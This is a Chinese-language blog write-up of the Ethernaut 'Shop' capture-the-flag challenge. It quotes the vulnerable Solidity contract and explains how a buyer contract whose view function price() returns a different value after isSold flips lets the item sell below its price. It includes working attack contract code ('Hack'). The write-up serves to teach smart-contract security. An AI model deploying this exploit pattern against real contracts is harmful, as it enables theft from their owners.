抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Shop

1. 题目要求

  • 1.1 您能在商店以低于要求的价格购买到商品吗?

    可能有帮助的注意点:

    • shop合约预计由买家使用
    • 了解view函数的限制
  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

2. 分析

tips:参考博客

  • 2.1 观察代码可知 ,我们有一个price内部合同,代表购买该物品必须支付wei的金额。Buyer

    也可以仅在尚未售出的情况下购买该商品。该属性由函数中isSold初始化为false然后更改为的状态变量处理。

  • 2.2 详细查看 buy() 函数,

  • 这是合约的主要功能。它投射到msg.senderBuyer通过这样做它期望交易的发送者是一个实现接口中定义的功能的合约。``

    即使在挑战描述中没有明确说明,也应该返回买家愿意为购买商店商品支付的function price() external view returns (uint256);价格。

    合同检查买方的价格(买方愿意支付的价格)是否大于商店的价格,并检查该商品是否尚未售出。如果这个要求通过,它会更新isSoldtrue并将price的值更新为_buyer.price();理论上应该与之前一条指令返回的值相同。

  • 2.3 这里的关键概念是:你永远不应该 盲目地相信你期望外部参与者会做什么,即使你定义了一个具有外部参与者应该信任的逻辑的特定接口。

    永远不要盲目相信不在你控制之下的事情。

    因为我们是买家,所以我们可以简单的实现price这样的功能

    1
    2
    3
    function price() external view returns (uint256) {
    return victim.isSold() ? 1 : 1000;
    }

    因为price是一个view函数,我们不能有一个内部状态变量来改变uint256函数返回的值,但我们可以进行标记为view或 的外部调用函数pure

  • 2.4 参考视频 写的攻击合约

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    contract Hack {
    Shop private immutable target;

    constructor (address _target) {
    target = Shop(_target);
    }

    function pwn() external {
    target.buy();
    require(target.price() == 99, "price != 99");
    }

    function price() external view returns (uint) {
    if (target.isSold()) {
    return 99;
    }

    return 100;
    }
    }

3. 解题(暂时没有以太了,到时候有钱了再来做,生成实例就需要 0.3ether)

image-20230311165037511

评论



政策 · 统计 | 本站使用 Volantis 主题设计